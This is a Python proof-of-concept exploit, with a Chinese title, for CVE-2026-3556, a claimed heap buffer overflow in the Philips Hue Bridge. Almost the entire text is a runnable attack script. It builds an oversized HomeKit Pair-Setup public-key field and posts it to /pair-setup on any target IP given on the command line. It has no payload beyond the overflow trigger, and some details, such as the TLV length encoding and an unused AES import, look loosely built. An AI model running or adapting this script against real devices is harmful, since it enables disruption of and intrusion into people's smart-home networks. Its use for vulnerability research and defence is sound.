CVE-2026-3556 Philips Hue Bridge堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-3556 PoC - Philips Hue Bridge Heap-based Buffer Overflow RCE Note: This is a conceptual PoC for educational and security research purposes only. Unauthorized exploitation of this vulnerability is illegal. """ import socket import struct import sys from Crypto.Cipher import AES def create_malicious_pair_setup_payload(): """ Create a malicious HomeKit Pair-Setup payload that triggers heap overflow in hk_hap_pair_storage_put function """ # HomeKit TLV types TLV_METHOD = 0x00 TLV_PUBLIC_KEY = 0x03 TLV_AUTH_TAG = 0x06 TLV_SEQUENCE = 0x07 TLV_ERROR_CODE = 0x08 TLV_FLAG = 0x09 # Construct malformed TLV payload with oversized data payload = bytearray() # Add method (M1/M3/M5) payload.extend([TLV_SEQUENCE, 0x01, 0x03]) # Sequence number # Add public key - THIS IS THE MALICIOUS PART # Craft oversized data that exceeds buffer bounds oversized_data = b'A' * 1024 # Exceed expected buffer size payload.extend([TLV_PUBLIC_KEY, len(oversized_data) // 256, len(oversized_data) % 256]) payload.extend(oversized_data) # Add flags payload.extend([TLV_FLAG, 0x01, 0x01]) return bytes(payload) def send_exploit(target_ip, target_port=8080): """ Send the exploit payload to Philips Hue Bridge """ print(f"[*] Targeting {target_ip}:{target_port}") print("[*] Crafting malicious Pair-Setup payload...") payload = create_malicious_pair_setup_payload() # Construct HTTP request for HomeKit Pair-Setup http_payload = ( b'POST /pair-setup HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b':8080\r\n' b'Content-Type: application/pairing+tlv8\r\n' b'Content-Length: ' + str(len(payload)).encode() + b'\r\n' b'\r\n' ) + payload try: print("[*] Sending exploit payload...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) sock.send(http_payload) response = sock.recv(4096) print(f"[*] Received response: {response[:100]}...") sock.close() print("[+] Payload sent successfully") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)